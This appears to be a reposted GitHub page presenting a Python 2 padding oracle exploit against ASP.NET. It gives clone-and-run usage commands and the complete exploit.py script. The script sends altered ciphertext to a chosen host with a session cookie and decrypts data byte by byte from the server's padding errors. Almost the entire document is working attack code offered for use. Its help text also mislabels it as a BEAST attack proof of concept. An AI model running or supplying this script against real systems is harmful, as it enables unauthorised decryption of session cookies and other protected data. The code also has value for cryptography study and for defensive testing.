
Padding oracle attack against ASP.NET
An exploit for the Padding Oracle Attack. Tested against ASP.NET, works like a charm. The CBC mode must use PKCS7 for the padding block. This is an implementation of this great article Padding Oracle Attack. I advise you to read it if you want to understand the basic of the attack. This exploit allow block size of 8 or 16 this mean it can be use even if the cipher use AES or DES.
Usage:
1 2 |
git clone https://github.com/mpgn/Padding-oracle-attack && cd Padding-oracle-attack python exploit.py -h (for full print helper) |
exploit.py Script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 |
#! /usr/bin/python ''' Padding Oracle Attack implementation of this article https://not.burntout.org/blog/Padding_Oracle_Attack/ Author: mpgn <martial.puygrenier@gmail.com> Date: 2016 ''' import argparse import httplib, urllib import re import binascii import sys import logging import time from binascii import unhexlify, hexlify from itertools import cycle, izip #################################### # CUSTOM YOUR RESPONSE ORACLE HERE # #################################### ''' the function you want change to adapte the result to your problem ''' def test_validity(response,error): try: value = int(error) if int(response.status) == value: return 1 except ValueError: pass # it was a string, not an int. # oracle repsonse with data in the DOM data = response.read() if data.find(error) == -1: return 1 return 0 ################################ # CUSTOM YOUR ORACLE HTTP HERE # ################################ def call_oracle(host,cookie,url,post,method,up_cipher): if post: params = urllib.urlencode({post}) else: params = urllib.urlencode({}) headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain", 'Cookie': cookie} conn = httplib.HTTPConnection(host) conn.request(method, url + up_cipher, params, headers) response = conn.getresponse() return conn, response # the exploit don't need to touch this part # split the cipher in len of size_block def split_len(seq, length): return [seq[i:i+length] for i in range(0, len(seq), length)] ''' create custom block for the byte we search''' def block_search_byte(size_block, i, pos, l): hex_char = hex(pos).split('0x')[1] return "00"*(size_block-(i+1)) + ("0" if len(hex_char)%2 != 0 else '') + hex_char + ''.join(l) ''' create custom block for the padding''' def block_padding(size_block, i): l = [] for t in range(0,i+1): l.append(("0" if len(hex(i+1).split('0x')[1])%2 != 0 else '') + (hex(i+1).split('0x')[1])) return "00"*(size_block-(i+1)) + ''.join(l) def hex_xor(s1,s2): return hexlify(''.join(chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(unhexlify(s1), cycle(unhexlify(s2))))) def run(cipher,size_block,host,url,cookie,method,post,iv,error): found = False valide_value = [] result = [] len_block = size_block*2 cipher_block = split_len(cipher, len_block) if iv != '': cipher_block.insert(0,iv) if len(cipher_block) == 1 and iv == '': print "[-] Abort there is only one block but no IV" sys.exit() #for each cipher_block for block in reversed(range(1,len(cipher_block))): if len(cipher_block[block]) != len_block: print "[-] Abort length block doesn't match the size_block" break print "[+] Search value block : ", block #for each byte of the block for i in range(0,size_block): # test each byte max 255 for ct_pos in range(0,256): # 1 xor 1 = 0 or valide padding need to be checked if ct_pos != i+1 or (len(valide_value) > 0 and int(valide_value[len(valide_value)-1],16) == ct_pos): bk = block_search_byte(size_block, i, ct_pos, valide_value) bp = cipher_block[block-1] bc = block_padding(size_block, i) if args.verbose == True: print "[+] Block M_Byte : %s"% bk print "[+] Block C_{i-1}: %s"% bp print "[+] Block Padding: %s"% bc tmp = hex_xor(bk,bp) cb = hex_xor(tmp,bc).upper() up_cipher = cb + cipher_block[block] print "[+] Test [Byte ",''.join('%02i'% ct_pos),"/256 - Block",block,"]: ", up_cipher if args.verbose == True: print '' #time.sleep(0.5) # we call the oracle, our god connection, response = call_oracle(host,cookie,url,post,method,up_cipher) if args.verbose == True: print "[+] HTTP ", response.status, response.reason if test_validity(response,error): found = True connection.close() # data analyse value = re.findall('..',bk) valide_value.insert(0,value[size_block-(i+1)]) print "[+] Found", i+1, "bytes :", ''.join(valide_value) print '' # change byte of the block #sys.exit() break if found == False: print "[-] Error decryption failed" sys.exit() found = False result.insert(0, ''.join(valide_value)) valide_value = [] print '' hex_r = ''.join(result) print "[+] Decrypted value (HEX):", hex_r.upper() padding = int(hex_r[len(hex_r)-2:len(hex_r)],16) print "[+] Decrypted value (ASCII):", hex_r[0:-(padding*2)].decode("hex") if __name__ == '__main__': parser = argparse.ArgumentParser(description='Poc of BEAST attack') parser.add_argument('-c', "--cipher", required=True, help='cipher you want to decrypt') parser.add_argument('-l', '--length_block_cipher', required=True, type=int, help='lenght of a block cipher: 8,16') parser.add_argument("--host", required=True, help='url example: /page=') parser.add_argument('-u', "--urltarget", required=True, help='url example: /page=') parser.add_argument('--error', required=True, help='Error that oracle give us example: 404,500,200 OR in the dom example: "<h2>Padding Error<h2>"') parser.add_argument('--iv', help='IV of the CBC cipher mode', default="") parser.add_argument('--cookie', help='Cookie example: PHPSESSID=9nnvje7p90b507shfmb94d7', default="") parser.add_argument('--method', help='Type methode like POST GET default GET', default="GET") parser.add_argument('--post', help="POST data example: 'user':'value', 'pass':'value'", default="") parser.add_argument('-v', "--verbose", help='debug mode, you need a large screen', action="store_true") args = parser.parse_args() run(args.cipher, args.length_block_cipher, args.host, args.urltarget, args.cookie, args.method, args.post, args.iv, args.error) |
Source :https://github.com/mpgn